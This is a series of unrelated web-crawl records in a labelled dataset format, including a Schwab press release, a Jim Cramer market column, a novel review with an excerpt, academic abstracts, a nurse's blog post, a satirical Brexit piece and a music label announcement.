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__label__wiki	0.587441	0.587441	Schwab Leaders to RIAs: The Opportunities Have Never Been Greater Schwab details strategic and practical initiatives for driving competitive advantage and sustainable growth for RIAs Schwab Advisor Services News Monday, June 24, 2013 8:30 am PDT "Schwab is committed to fueling sustainable RIA growth for generations to come by supporting firms as the industry evolves" SAN FRANCISCO--(BUSINESS WIRE)--During its annual EXPLORE event last week, Charles Schwab CEO Walt Bettinger and head of Schwab Advisor Services Bernie Clark commended independent registered investment advisors (RIAs) for their thriving business model and uncompromising focus on serving clients, and shared with them an enthusiastic outlook for the future of the RIA space. Bettinger and Clark also spoke about the potential challenges ahead as RIAs continue to grow, including increased regulation and industry complexity, emerging new competition and a changing client base. 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The online directory is the latest addition to Schwab’s RIA Stands For You campaign, which launched in 2011 to help investors better understand the benefits of the independent RIA model. The website includes educational information to help investors who are seeking an advisor. “RIA Stands For You was launched to help RIAs tell a clear story about what makes their model different, and to educate and inform investors about the choices available to them,” said Clark. “The addition of the advisor directory means that investors visiting RIA Stands for You will now be able to go beyond education and find an RIA they can work with in their local area.” Next Generation Leaders: At EXPLORE Clark announced that Schwab’s Executive Leadership Program will begin in January 2014. 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__label__wiki	0.511194	0.511194	/ Jim Cramer Jim Cramer: Why We Need Definitively Mixed Data Like We Are Getting What do we really want to happen if we want to be constructive toward stocks? By JIM CRAMER Oct 30, 2018 \| 03:02 PM EDT Stocks quotes in this article: PAYX, UAA, GE Do we want good news or do we want bad news? At this point in the cycle, with the Fed wanting to tighten like mad we definitively and sadly want bad news, we want weaker than expected data and we literally have to hope for a weak jobless number on Friday. How did we get to this point? Because the stock market changed its coloration, or perhaps I should say its species, on two days in October, the third and the fourth. On the third as my friend Ed Yardeni accounts in his incredibly good Yardeni Report, Fed Chief Jerome Powell told Judy Woodruff on PBS that "the really accommodative low interest rates that we needed when the economy was quite weak, we don't need those anymore. At the same time Powell was quoted by CNBC as saying "interest rates are still accommodative, but we are gradually moving to a place where they will be neutral. We may go past neutral but we're a long way from neutral at this point, probably." The next day? That's the day that Vice President Pence laid out our cold war battle plan versus China in a speech that I think could easily lead one to believe that we favor regime change in the Peoples Republic. The speech talked about how China is waging a multi-front campaign against our nation. "Beijing is employing a whole of government approach, using political, economic and military tools as well as propaganda to advance its influence and benefit its interests in the United States. " This was the speech that laid out for all to see that there is a much bigger agenda than trade at stake. It's multi-faceted war. First there's the made in China 2025 plan that must be stopped. To quote Pence again: "The communist party has set its sights on controlling 90% of the world's most advanced industries including robotics, biotechnology and artificial intelligence." He then talks about how we funded Chinese expansion with our trade deficit, propping up the Communist state's ability to tamp dissent, persecute religions and fund tyranny all over the globe. The speech is about containing the Chinese and stopping their desire for world hegemony and the only way to do it is to stop trade until they play fair or until they fall. In other words, this speech might as well be called the Pence Doctrine and the doctrine is to stop commerce with China until this regime changes its ways, something that is highly doubtful, which makes more tariffs almost a given. In what's a new twist on an old interchange between James Bond and Goldfinger, Bond asks, "Do you expect me to talk?" and Goldfinger shoots back, "No Mr. Bond, I expect you to die." Yep we don't' want talks, we want the regime to perish. If you go back and look at the turmoil that characterized this miserable month - at least for the bulls because it's been nirvana for the bears - it all started right then, a one-two punch we are still reeling from. Now you can tell from the "action" that each day has multiple sessions: we've had three so far but the sessions are largely controlled not by the company reports but by the Fed and the president. Yesterday we took a header when we heard that the president is going to slap tariffs on the rest of Chinese goods if talks between he and President Xi breakdown. If you ask me it was right that stocks got hit because if you read the Pence speech it's pretty clear that there is no way for Xi to give in to Trump's demands as outlined by Pence. However, there should be a silver lining for the market: more tariffs means slower world growth which should cause the Fed to temper its enthusiasm - President Trump might say, glee - for raising rates. Instead, though we have to deal with the fact that the Fed regards tariffs as inflationary - they make goods more expensive so there's only a negative reaction. I want you to understand that every single piece of data is being scrutinized with this prism of good news/bad news where definitive weaker news now drives stocks up and strong news takes it down. This morning we got the S&P Case-Shiller 20 city index and it showed a .1% bump, the lowest annual increase in 20 months. That's the bad news a bull should want. But just a second: the hawkish Powell could say houses have still advanced 5.5% over last year. A bull would counter that at this pace, with this trajectory, home prices will decrease next month. But a bear would say, we need to see that occur and even then Powell might not care because he does not want to be data dependent like his predecessor Janet Yellen. He wants to normalize rates although, of course, does anyone really know what normal is when central banks control most rates around the world and they are ridiculously low? Sometimes it's become downright ludicrous. I saw Marty Mucci, the CEO of Paychex (PAYX) was on "Squawk Box" this morning and he said that the his proprietary business sentiment survey showed an uptick. "Entrepreneurs are more positive in nearly every aspect of business this fall compared to early summer." Boo. Hiss. That's' not what we want. But wait a second: the Paychex/IHS Markit Small Business Employment Watch numbers came out today and they gave us what we want Powell to see: "Hourly earnings rose .08 to 2.41 percent year-over-year, while job growth decreased .77 percent from a year ago." Ah ha, now think of what this means. Workers have gotten too expensive so companies aren't hiring as many people as they were. But just a second, don't get too excited about the bad news: The Conference Board released data showing that its consumer confidence index rose to an 18 year high, going from 137.9 versus 135.3 in September. Score one for Powell's intransigence. Hey, wait just a second, oil is plummeting, having one of its worst months in ages. If oil is going down so precipitously how can the economy be too hot to handle? This battle plays out not just with big stats but also with small ones. What does it mean that Under Armour (UAA) had a much better than expected quarter and the stock rallies 23%. David Faber asked me isn't that a convincing bit of anecdotal evident that Powell could be right? But Carl Quintanilla came right back and pointed out that a lot of the strength was in international and I said that it was really a reflection that the bad inventory has finally cleaned up. Oh, and who cares about UnderArmour when GE (GE) reports a staggering loss and cuts its dividend dramatically and its stock falls to levels not seen since the august period of April 2009. Now let's sum this one up. What do we really want to happen if we want to be constructive toward stocks? We need definitively mixed data like we are getting. That allows Powell to raise in December and then give an ode to his processor Janet Yellen, simply acknowledging that the data is weak enough that while the Fed needs to be vigilant it doesn't want to reach the wrong conclusion about the strength of the economy and raise too far too fast so any plans to put through three rate increases next year are now on hold waiting for more clear cut information. There's only one problem with this. Who wants to take his cue from some television wise guy? Ah ha, the final parry, don't you wish they had taken my cue 11 years ago when I shouted to the rooftops they know nothing because things were so much weaker underneath. Touche, Mr. Powell, touche! Action Alerts PLUS, which Cramer co-manages as a charitable trust, has no positions in the stocks mentioned. TAGS: Jim Cramer More from Jim Cramer Jim Cramer: Buyers Get Very Few Breaks There were opportunities in the transports. Jim Cramer: The Earth's New Cop? The Microsoft Protection Agency While the president is pushing coal, this corporate giant is stepping up to cut the carbon cord. Jim Cramer: In the U.S./China Deal, the Engagement Camp Won I have been among the most wary of China and its ability to change. I remain that way. But the U.S. got more than I ever thought. Jim Cramer: Have Your Cake and Eat It, Too This is one of those days when there's so much good news that it's overwhelming, and we see moves that we didn't think were possible. Jim Cramer: Larry Fink Is Showing What True Leadership Looks Like Jan 14, 2020 7:23 AM EST BlackRock's CEO will now make investment decisions based on a company's commitment to environmental sustainability. You can bet the financial world will never be the same again.	cc/2020-05/en_middle_0032.json.gz/line8148
__label__cc	0.700205	0.299795	Discover → Mystery & Crime The Needle Shower By Don Heywood Upvote 4 Enjoying this book? Help it get discovered by casting your vote! Loved it! 😍 A coming of age story, filled with tragedy and healing. Reads like a memoir of troubled friendships and small town life. This is a story of love and friendship like no other. A story of a crime which shakes that love and friendship to the very core and begs an answer to the question "What would you do for love?" It is 1964, the Beatles are topping the charts in America while on the other side of the world the Vietnam War is escalating. In a one-light town in upstate New York lives Danny Fosse, who is an average fourteen-year old who is becoming more and more confused and disillusioned by the world around him. His idyllic small-town life takes a dreadful turn when one of his friends is the victim of a brutal attack. In attempting revenge, things don't go as planned setting in motion a series of shocking events which tests beliefs in family, faith, love and friendship. Then, kids go missing without explanation just as the Vietnam War taps this town on the shoulder. All of these events seem unrelated, but are they? In this formative decade of his life, Danny is searching for something that always seems to be just out of his reach until another singular event gives his life meaning and purpose. The Needle Shower reads like memoir, though it seems too laden with dangers to be real. Danny, Billy, Tommy and Jo are best buddies in high school, standing up for each other against bullies and parents. They explore the area around their small town, rambling about through abandoned mines and lakes, hills and backroads. Things seem to be going along swimmingly. But darkness looms. As the friends grow up, one of their gang falls to the wayside, then another. As with most coming of age stories, the kids grow into adults with a history together, a history full of serious events and tragedies. Choices are made. The secret they hold pushes them apart, even as their ties pull them back together. Misunderstandings lead to more tragedy; it seems like all is lost, but the friendships that these four forged in their youth stay strong. Will they be alright, with the dangerous knowledge they share? Along the way, each of the friends sacrifices something, makes decisions that dramatically change their path forwards. One cancels plans for college, another enlists in the military, and one vanishes. Will they find each other again, rebuild their friendships? Will Danny ever get out of town as he hopes? This is a story with a creeping sense of evil. There is a pervasive sense of being trapped. A few chapters had me reading as fast as I could, just to see if the characters would make it through intact. The pace is uneven, with much time spent in description, but the author places you right in the scenery, has you walk along with the friends, shows you the details of the town and the people who live there. I feel as if I spent time in the town, felt the oppressive air, saw the faces of the participants. At other times, the story seems rushed, with a few bits and pieces being sketched more than drawn. That said, I couldn't put the book down. It's a good read, and a memory trip as the characters live through the 50s and 60s, Vietnam and Woodstock, childhood and growing up. Worth a read. Dorothyanne Brown An avid reader of all genres except romance (it makes me snicker). Published writer of humour and short fiction/non-fiction. Currently working on a fiction trilogy and a self-help book for people with MS or other brain conditions. Retired nurse. Now artist and crafter plus the writing, of course! Written by Don Heywood September, 1974, Dutchess County, New York What would you do for love? A simple question, really, with no simple answer. Each and every person has a different response, as unique to them as are their thoughts, their DNA. Family, friends and life experiences would all play a part, certainly. But also trust, loyalty, passion and intimacy. And religion. There are as many influences on, and answers to, this question as there are stars in the universe. And every one would be right, in its own personal way. Would you fight for love, or let it slowly sink into the deepest recesses of your being like a stone cast into this river? Would you lie for love? Would you steal for love? Would you be dishonest for love? Would you kill for love? Is love permanent, or does it come and go like the tides in this river? Does it stay or can it be carried away like a piece of driftwood, ending up in an eddy, forever swirling in the opposite direction of life’s tides, tantalizingly close yet unreachable? What would you do for love? I’ve been sitting on the beach in this small cove staring at the agitated lead-colored river for hours. Its foamy whitecaps, driven by the earlier storm, have swirled, crested and fallen as far as my eyes can see. They’ve rumbled and roared as they’ve collapsed onto this glossy pebble beach, their spuming fingers reaching out as if to drag me in. The cool mid-September wind bites at the waves and tugs the gulls sideways with invisible strings like some crazed puppeteer. The sun charges into the western skyline, slinging the last horizontal red and tangerine rays like arrows. My shadow grows longer by the minute as the shy full moon peeks above the eastern horizon as if checking to see if the sun has completed its job. Shivering in my rain-soaked clothes, I bury both hands a little deeper into the pockets of my sweatpants seeking warmth like a burrowing animal, but it is not there. Earlier in the afternoon, I had watched two boys up the shoreline holding on for dear life to their multicolored kites as they flapped and darted up and down in the wind, the tails desperately tried to keep the kites facing into the breeze, as effective as a broken rudder on a floundering ship. The wind on the paper drew out a slapping sound, like a hand landing flush on a cheek, and threatened to rip them apart at any moment. Now all that remains is a deserted river’s edge slowly being lit by silver moonlight as the sunset reluctantly retreats. The elephant gray hues from the rain storm appear to be waning, giving way to a clear evening sky and a calming river. I can smell the moist air. I can taste it on my tongue as it stings my tired eyes. A metallic blue dragonfly appears at eye level as if inspecting me. It hovers for a few seconds and then is gone in a flash as the cooling air makes my eyes tear. Wiping them with my sleeve, I close them and briefly rest. Exhaustion settles in. Even so, it is comforting to be back here where I have spent so many wonderful summer days. This beach is where, as a small child, I met the water for the first time, heard its song, experienced its magic, felt its life. It is where I learned how to love it, fear it. Reaching into my pocket, I remove an orange plastic vial. Twisting off the lid, I pop out two purple pills, each the size of a bullet, and swallow them one after the other. It’s just another in a seemingly endless parade of anodynes I have been given over the last few years. Recapping the vial, I stuff it back into my pocket with a sigh. Gazing back at the blackening river, I spot a maroon tug highlighted by both the rising moon and the last straggling rays of sunlight. It is thrusting a corroded barge through the water, seemingly making little progress, appearing almost still in the water, despite the waves clawing at the front. From where I sit now, it seems as if I have always been like that barge, constantly pushing ahead but seemingly getting nowhere. Living can be like that. That all will change tomorrow. Looking up, I see the blinking lights of a jet passing silently overhead leaving a fluffy white contrail as soft as love in the moonlit sky. Life goes on for others. Gazing back at the now gentle, frothy waves kissing the beach, I realize that there has only always been this. Water. My one constant source of enjoyment and love has been water. To be near it, to stare at it, dip my toes into it, jump into it. It was my home. And my real passion was swimming. As a kid, I would look for any excuse to steal away to a cool forest lake or to this tempting river to jump in and swim. It seems at times that I spent most of my early years wet. I absolutely loved it, especially in the early morning, as the sun rises, before the world comes alive. There is something you can’t describe about being in water with an untroubled surface, smooth as glass, surrounded by total quiet, as a new sun rises, full of promise, warming your face. You have to experience it, spend time with it, get to know it; only then can you come to love it. That love was taken from me, stolen in my youth in an instant. It has been years since I have really enjoyed the water, and with good reason, but tonight it is once again flirting with me, enticing me. It beckons me like a lost love, I can feel its sultry pull. Sometimes, against all common sense, it is difficult to say no to love. Once it has penetrated and grabbed your heart, it never really ever releases you. A lone seagull floats by screeching like a rusted hinge, before gliding further down the river as I rise to stand. To the north, a lonely lighthouse blinks its cautionary beacon. Looking at the water again, it’s almost low tide. A meteor streaks across the ebony sky, dissolving into darkness. It’s time. Don Heywood I grew up, and currently live, in the Hudson Valley of upstate New York. I use my varied work experiences-grave digger, mason, professional student (B.A./M.B.A. Syracuse), founder of manufacturing company, the list goes on and on-along with my love of nature to enrichen all of my narratives. view profile Published by Amazon Books Worked with a Reedsy professional 🏆 Genre: Mystery & Crime Enjoyed this review? Get early access to fresh indie books and help decide on the bestselling stories of tomorrow. Create your free account today. Or sign up with an email address Or sign up with your social account Discover more books like The Needle Shower Create your free account to help this book get discovered and decide on the bestselling stories of tomorrow. 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__label__cc	0.71471	0.28529	Rainbow Romance Reads LGBT+ romance deals We aim to bring you the best LGBT+ romance book deals, the hottest new releases and some awesome giveaways. Happy reading! Thursday 29th August 99c / 99p deal Finally, the complete Maple Springs series! Fall in love with these men of the northwoods as their romances blossom under the starry skies and pine forests of Minnesota. The series follows a group of friends in the lake-side small town of Maple Springs as they uncover secrets, reconnect with old flames, and find love in the most unexpected of places… Billion Dollar Bet Kian: He’s a self-made billionaire. He wants to destroy my town. And he’s straight up told me he’s bad at relationships. There’s no reason for this to work, and every reason for it not to. So why can’t I stop falling for him? Beneath Orion Colin: I don’t date. Period. And I definitely don’t date single dads. Or straight guys. Or men who give me butterflies and make me feel things. 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__label__wiki	0.554863	0.554863	The weighted groundwater health index: Improving the monitoring and management of groundwater resources Kathryn L. Korbel, Grant C. Hose Increased global demand for groundwater has resulted in the need to measure and monitor this resource. Rather than monitoring groundwater simply though water chemistry and levels, which provides a ‘snapshot’ of the conditions at any given time, a more holistic approach to managing groundwater resources and their changes over time is needed. Korbel & Hose (2011) introduced the first structured framework for measuring groundwater health – the Groundwater Health Index (GHI). This multimetric, two-tiered framework uses biotic and abiotic components of the groundwater ecosystem to measure and identify ecosystem health. The framework can be used to classify impacted from non-impacted groundwaters, however it has certain limitations. With increased research and associated knowledge of groundwater ecosystems in recent times, it is now timely to attempt to build on the GHI framework. This paper refines and improves the GHI by incorporating a weighting system to account for natural factors contributing to variations in biotic distribution and is tested on data within four geologically similar alluvial aquifers in intensively irrigated agricultural areas of New South Wales and Queensland, Australia. Using a combination of microbial, stygofaunal, water chemistry and environmental indicators, the ‘weighted GHI’ framework was able to discriminate three distinct ecosystem health classifications; that of ‘similar to reference’(displaying reference-like condition) ‘mild deviation from reference’ (sites failing to meet between 2 and 3 benchmarks) and ‘major deviation from reference’ (sites with more than four benchmarks exceeded). The framework indicated that groundwater health deviated from reference condition in all four catchments studied, with irrigated sites consistently displaying deviations from reference ecosystem health. Tier 2 benchmarks were set using results from the Gwydir River, and were tested on the adjacent Namoi River catchment, the Condamine and Lower Macquarie catchments. Results indicated that ecosystem health benchmarks may be associate with aquifer typology, rather than being applicable only for local areas. Ecological Indicators 10.1016/j.ecolind.2016.11.039 groundwater resource ecosystem health hydrochemistry environmental indicator Groundwater assessment Stygofauna Korbel, K. L., & Hose, G. C. (2017). The weighted groundwater health index: Improving the monitoring and management of groundwater resources. Ecological Indicators, 75, 164-181. https://doi.org/10.1016/j.ecolind.2016.11.039 Korbel, Kathryn L. ; Hose, Grant C. / The weighted groundwater health index : Improving the monitoring and management of groundwater resources. In: Ecological Indicators. 2017 ; Vol. 75. pp. 164-181. @article{dc2bcfb78b5d408899305132cfd4082f, title = "The weighted groundwater health index: Improving the monitoring and management of groundwater resources", abstract = "Increased global demand for groundwater has resulted in the need to measure and monitor this resource. Rather than monitoring groundwater simply though water chemistry and levels, which provides a ‘snapshot’ of the conditions at any given time, a more holistic approach to managing groundwater resources and their changes over time is needed. Korbel & Hose (2011) introduced the first structured framework for measuring groundwater health – the Groundwater Health Index (GHI). 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This paper refines and improves the GHI by incorporating a weighting system to account for natural factors contributing to variations in biotic distribution and is tested on data within four geologically similar alluvial aquifers in intensively irrigated agricultural areas of New South Wales and Queensland, Australia. Using a combination of microbial, stygofaunal, water chemistry and environmental indicators, the ‘weighted GHI’ framework was able to discriminate three distinct ecosystem health classifications; that of ‘similar to reference’(displaying reference-like condition) ‘mild deviation from reference’ (sites failing to meet between 2 and 3 benchmarks) and ‘major deviation from reference’ (sites with more than four benchmarks exceeded). The framework indicated that groundwater health deviated from reference condition in all four catchments studied, with irrigated sites consistently displaying deviations from reference ecosystem health. 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The framework can be used to classify impacted from non-impacted groundwaters, however it has certain limitations. With increased research and associated knowledge of groundwater ecosystems in recent times, it is now timely to attempt to build on the GHI framework. This paper refines and improves the GHI by incorporating a weighting system to account for natural factors contributing to variations in biotic distribution and is tested on data within four geologically similar alluvial aquifers in intensively irrigated agricultural areas of New South Wales and Queensland, Australia. Using a combination of microbial, stygofaunal, water chemistry and environmental indicators, the ‘weighted GHI’ framework was able to discriminate three distinct ecosystem health classifications; that of ‘similar to reference’(displaying reference-like condition) ‘mild deviation from reference’ (sites failing to meet between 2 and 3 benchmarks) and ‘major deviation from reference’ (sites with more than four benchmarks exceeded). The framework indicated that groundwater health deviated from reference condition in all four catchments studied, with irrigated sites consistently displaying deviations from reference ecosystem health. Tier 2 benchmarks were set using results from the Gwydir River, and were tested on the adjacent Namoi River catchment, the Condamine and Lower Macquarie catchments. Results indicated that ecosystem health benchmarks may be associate with aquifer typology, rather than being applicable only for local areas. KW - Biomonitoring KW - Ecosystem health KW - Groundwater KW - Groundwater assessment KW - Stygofauna U2 - 10.1016/j.ecolind.2016.11.039 DO - 10.1016/j.ecolind.2016.11.039 JO - Ecological Indicators JF - Ecological Indicators Korbel KL, Hose GC. The weighted groundwater health index: Improving the monitoring and management of groundwater resources. Ecological Indicators. 2017 Apr 1;75:164-181. https://doi.org/10.1016/j.ecolind.2016.11.039	cc/2020-05/en_middle_0032.json.gz/line8159
__label__wiki	0.882434	0.882434	KONDO Masayuki KIKUMOTO Hitoshi2009/05, updated NISHIZAWA Akio12/02, updated HOSONO Mitsuaki12/11, updated MATSUO Sumihiro2012/07, updated FUKUSHIMA Michi01/11, updated Shinya Yukiko01/16, updated Last updated: May 8, 2019 at 12:25 Ph.D(Tokyo Institute of Technology), Master of Science, Master of Engineering(Tokyo Institute of Technology), Master of Science(University of Washington) Sociology/History of science and technology / Sociology/History of science and technology / Economics / Economic policy / Management / Management / Tokyo Denki University Yokohama National University　Faculty of Environment and Information Sciences Division of Social Environment and Information / Affiliated Senior Fellow and Leader, National Institute of Science and Technology Policy (NISTEP), Ministry of Education, Culture, Sports, Science and Technology (MEXT) Senior Fellow and Leader, National Institute of Science and Technology Policy (NISTEP), Ministry of Education, Culture, Sports, Science and Technology (MEXT) Professor, Graduate School of Environment and Information Sciences, Yokohama National University Stanford Univ. Dept. of Control Engineering, Graduate School, Division of Science and Engineering, Tokyo Institute of Technology Dept. of Electrical Engineering, University of Washington Faculty of Engineering, Tokyo Institute of Technology Highly Commended Award, the Literati Network Awards for Excellence, Emerald Group Publishing Limited, U.K Best Paper Award, The Third CAMOT (China Association for Management of Technology) International Conference 2011 Best Paper Award, The 6th International Symposium on Management of Technology A public research institute that created and led a large industrial group in Japan Scientometrics 90(1) 141-162 2012 [Refereed] Intellectual Property Creation of MNCs in Developing Countries - The Cases of China and Thailand - Proceedings of ICMIT 2014 387-392 Sep 2014 [Refereed] Success Factors of Managing Japanese R&D Centers in China and the United States Proceedings of PICMET 2014 2646-2655 Jul 2014 [Refereed] Techno-Economic Impacts of Large-Scale National R&D Projects Proceedings of ICMIT 2012 88-93 Jun 2012 [Refereed] Successful R&D Management of Japanese Companies in China KONDO, Masayuki, and Isao Matsui Proceedings of CAMOT 2011 International Conference Dec 2011 [Refereed] The venturing cluster –Proactive, multi-layered networking in Sapporo, Japan Asian and Pacific Centre for Transfer of Technology, ESCAP, UN 2006(July-August) 17-23 2006 University-industry collaboration in Japan Asia Pacific Tech Monitor, Asian and Pacific Centre for Transfer of Technology, ESCAP, UN 2004(July-August) 17-23 Jul 2004 University spin-offs in Japan Asia Pacific Tech Monitor, Asian and Pacific Centre for Transfer of Technology, ESCAP, UN 2004(March-April) .37-43 Apr 2004 21st Century Innovation Systems for Japan and the United States Nagaoka, Sadao, Kenneth Flamm and Charles Wessner (Part:Joint Editor) National Academies Press 2009 Innovation Networks & Knowledge Clusters: Findings and Insights from the US, EU and Japan Palgrave Macmillan Feb 2008 'Upsurge in university spin-offs in Japan.' In: M. H. Sherif and T. M. Khalil (Editors): Management of Technology: New directions in technology management. Elsevier: Amsterdam, 2007, 91-102 Elsevier Jan 2007 `Chinese Model to Create High-Tech Start-Ups from Universities and Research Institutes.' In: M. von Zedtwitz, G. Haour, T. Khalil, L. Lefebvre (Editors): Management of Technology: Growth through Business, Innovation and Entrepreneurship. Pergamon Press: Oxford 2003 `Improving Malaysian industrial technology policies and institutions,' in “Technology, Competitiveness, and the State ? Malaysia's industrial technology policies --," Jomo K.S. and Greg Felker (Ed.) Routledge, London and New York 1999 Japanese Company R&D in China The 9th ASIALICS International Conference 4 Oct 2012 ICMIT 2012 11 Jun 2012 Japan-US Comparison of Claims per Patent by Time Period and Industry IAMOT2012 18 Mar 2012 Private-Sector-Driven International Technology Transfer with the Initiative of a Recipient Country - The Case of Technology Promotion Association (Thailand-Japan) - PICMET 2010 18 Jul 2010 Pioneering University-Industry Collaboration and Intellectual Property Management In a Developing Country - The Case of Chulalongkorn University in Thailand - IAMOT2010 8 Mar 2010	cc/2020-05/en_middle_0032.json.gz/line8160
__label__cc	0.511052	0.488948	Psychosocial outcomes of children with ear infections and hearing problems: a longitudinal study Hogan, Anthony, Phillips, Rebecca L., Howard, Damien, and Yiengprugsawan, Vasoontara (2014) Psychosocial outcomes of children with ear infections and hearing problems: a longitudinal study. BMC Pediatrics, 14. 65. pp. 1-8. Available under License Creative Commons Attribution. DOI: 10.1186/1471-2431-14-65 View at Publisher Website: http://dx.doi.org/10.1186/1471-2431-14-6... There is some evidence of a relationship between psychosocial health and the incidence of ear infections and hearing problems in young children. There is however little longitudinal evidence investigating this relationship. This paper used 6-year prospective longitudinal data to examine the impact of ear infection and hearing problems on psychosocial outcomes in two cohorts of children (one cohort recruited at 0/1 years and the other at 4/5 years). Data from the Longitudinal Study of Australian Children (LSAC) were analysed to address the research aim. The LSAC follows two cohorts of children (infants aged 0/1 years – B cohort, n = 4242; and children aged 4/5 years – K cohort, n = 4169) collecting data in 2004, 2006, 2008 and 2010. In B cohort at baseline 3.7% (n = 189) of the sample were reported by their parent to have had an ear infection (excluding hearing problems) and 0.5% (n = 26) were reported by their parent to have hearing problems (excluding ear infections). 6.7% (n = 323) of the K cohort were identified as having had an ear infection and 2.0% (n = 93) to have hearing problems. Psychosocial outcomes were measured using the Strengths and Difficulties Questionnaire. Data were analysed using multivariate analysis of variance and logistic regression, reporting adjusted odds ratio and 95% confidence intervals of the association between reported ear infections (excluding hearing problems)/or hearing problems (excluding ear infections) and psychosocial outcomes. Children were more likely to have abnormal/borderline psychosocial outcomes at 10/11 years of age if they had been reported to have ongoing ear infections or hearing problems when they were 4/5 years old. When looking at the younger cohort however, poorer psychosocial outcomes were only documented at 6/7 years for children reported to have hearing problems at 0/1 years, not for those who were reported to have ongoing ear infections. This study adds further evidence that a relationship may exist between repeated ear infections or hearing problems and the long-term psychosocial health of children and provides support for a more systematic investigation of these issues. hearing; deaf; disability; ear infection; wellbeing; mental health © 2014 Hogan et al.; licensee BioMed Central Ltd. This is an Open Access article distributed under the terms of the Creative Commons Attribution License (http://creativecommons.org/licenses/by/2.0), which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly credited. The Creative Commons Public Domain Dedication waiver (http://creativecommons.org/publicdomain/zero/1.0/) applies to the data made available in this article, unless otherwise stated. 11 MEDICAL AND HEALTH SCIENCES > 1114 Paediatrics and Reproductive Medicine > 111403 Paediatrics @ 50% 17 PSYCHOLOGY AND COGNITIVE SCIENCES > 1701 Psychology > 170199 Psychology not elsewhere classified @ 50% 92 HEALTH > 9205 Specific Population Health (excl. Indigenous Health) > 920501 Child Health @ 100% Last 12 Months: 7	cc/2020-05/en_middle_0032.json.gz/line8161
__label__cc	0.619958	0.380042	The Relentless School Nurse Be Relentless in Your Practice, Whatever it is. Relentless School Nurse Consulting Relentless Blog Relentless Initiatives Community Cafés: Conversations That Matter #NursesDemandAction Nurses in Media: Leveraging our Respected Voices and Experience Relentless Nurses Network #RNN Podcasts, Videos, and Webinars! Relentless Shop Relentless Instagram The Relentless School Nurse: Bridging the Gap Between Nursing and Activism August 6, 2018 August 6, 2018 Robin Cogan, MEd, RN, NCSN When an email invitation came to attend a Nursing Activism Think Tank, I immediately agreed to go, even without knowing a single soul. The information grabbed me by the throat and the heart. The throat, because I have been working to use my voice in previously unknown spaces and my heart because I care about the safety of children. The event also tested my courage in many ways. My courage to sign up, show up and participate in ways that I would not have imagined. The Nursing Activism Think Tank was a collective gathering with shared leadership and no set agenda. The seminal question was to identify the moment when you were called to activism in nursing. That question drove the rest of the two-day event. Fifty nurses from varying disciplines came together at UMass Amherst to share our stories of activism, love of our profession and concern for the preservation of nursing. The stories shared were as diverse as the participants. Some nurses were called to activism following a patient care scenario that caused moral distress triggering a trauma response. One nurse had such a horrendous experience as a pediatric in-patient, she made it a personal goal to grow up to be a “nice nurse.” The stories ran the gamut of years of activism to brand new activists who were yearning to find community in nursing. Nursing as an act of radical activism was a concept that one of the participants shared early on in the event. Nursing is an act of radical activism, she said clearly, with full conviction and I listened. The Nursing Activism Think Tank served to close the gap for me that separated my work, especially as a school nurse in a community filled with adversity, from my activism. They are actually one and the same. Published by Robin Cogan, MEd, RN, NCSN Robin Cogan, MEd, RN, NCSN is a Nationally Certified School Nurse (NCSN), currently in her 19th year as a New Jersey school nurse in the Camden City School District. Robin is the Legislative Chair for the New Jersey State School Nurses Association. She is proud to be a Johnson & Johnson School Health Leadership Fellow and past Program Mentor. She has been recognized in her home state of New Jersey and nationally for her community-based initiative called “The Community Café: A Conversation That Matters.” Robin is the honored recipient of multiple awards for her work in school nursing and population health. These awards include, 2019 National Association of School Nurses President’s Award, 2018 NCSN School Nurse of the Year, 2017 Johnson & Johnson School Nurse of the Year, and the New Jersey Department of Health 2017 Population Health Hero Award. Robin serves as faculty in the School Nurse Certificate Program at Rutgers University-Camden School of Nursing, where she teaches the next generation of school nurses. She was presented the 2018 Rutgers University – Camden Chancellor’s Teaching Excellence Award for Part-time Faculty. Follow Robin on Twitter at @RobinCogan. View all posts by Robin Cogan, MEd, RN, NCSN Previous postProceed Until Apprehended: It’s Only a Matter of Time Next postProceed Until Apprehended – Back to School Subscribe to The Relentless School Nurse Blog via Email	cc/2020-05/en_middle_0032.json.gz/line8165
__label__wiki	0.530718	0.530718	Home International News Europe May sets UK up for long March to Brexit May sets UK up for long March to Brexit Fred Fleet Theresa May’s Conservative government have quite literally meddled with time in their pursuit of successfully completing Brexit according to their timetable. The Conservative party used their parliamentary majority to force through the ‘British Calendar Act’, giving Theresa May the power to extend March 2017 indefinitely. The desperate move comes as May struggles to deliver on any promises she, or anyone else, made about Brexit. A £350m-a-week paycheck for the NHS was revealed as a lie within hours of the referendum by Trump Tower concierge Nigel Farage, while the chances of a points based immigration system have been scratched and of the host of trade agreements the British people also appear to be figment of imagination. Having set the target date for the triggering of Article 50 – a shot that will likely only hit her in the foot – May now faces the likelihood that Parliament will have to vote on triggering Article 50, while her own cabinet team appears to have no idea of how to proceed with leaving the European Union. It is not yet known how the almost certain extension of the third month of next year will affect any negotiations with the EU nations, as it is unlikely the dramatic lengthening of March will be adopted on the continent. However, a government spokesperson was optimistic about the timetable to begin formal talks with the bloc. “We will sit down with European leaders once we have a clear plan on how to proceed with leaving the EU,” they said. “The current target date is the 158th March, next year.”	cc/2020-05/en_middle_0032.json.gz/line8177
__label__wiki	0.957316	0.957316	Dark Tranquillity’s NIKLAS SUNDIN signs worldwide deal with Argonauta Records! Dark Tranquillity’s NIKLAS SUNDIN signs worldwide deal with Argonauta Records! Debut album by Sundin’s solo-project MITOCHONDRIAL SUN coming in early 2020! Rising powerhouse label Argonauta Records is celebrating its 7th anniversary while adding one of the most prestigious, newest signings to their eclectic artist roster: Mitochondrial Sun, the solo-project by Dark Tranquillity’s Niklas Sundin, has signed a worldwide deal with the Italian record company! Argonauta Records will release the debut album of Mitochondrial Sun in early 2020. Niklas is best known as a founding member and guitarist of Dark Tranquillity, the Grammy nominated Swedish metal band that for nearly three decades has helped carving out an entire subgenre and inspired musicians all around the globe. After 15 albums as a metal guitarist, Mitochondrial Sun is Sundin’s first public foray into different musical realms: Created with support from the Swedish Arts Council, the self-titled debut album is a diverse offering of atmospheric and darkly cinematic music where the songs differ wildly in expression and sonic aesthetics. “I’m very pleased and excited to announce that the debut LP/CD of my MITOCHONDRIAL SUN project will be released on Argonauta Records early next year. The album has been a long time in the making, with some of the melodies and chord progressions dating back to the mid ’90’s, so it’ll be great to finally have it out in the open.“ Sundin comments. “I first got in touch with Argonauta when creating the cover artwork for one of their bands and found them to be an enthusiastic and hungry label that’s not afraid to venture outside of the conventional borders. In other words, a perfect match for an experimental electronic album that covers a lot of ground and that’s hard to pigeonhole into any 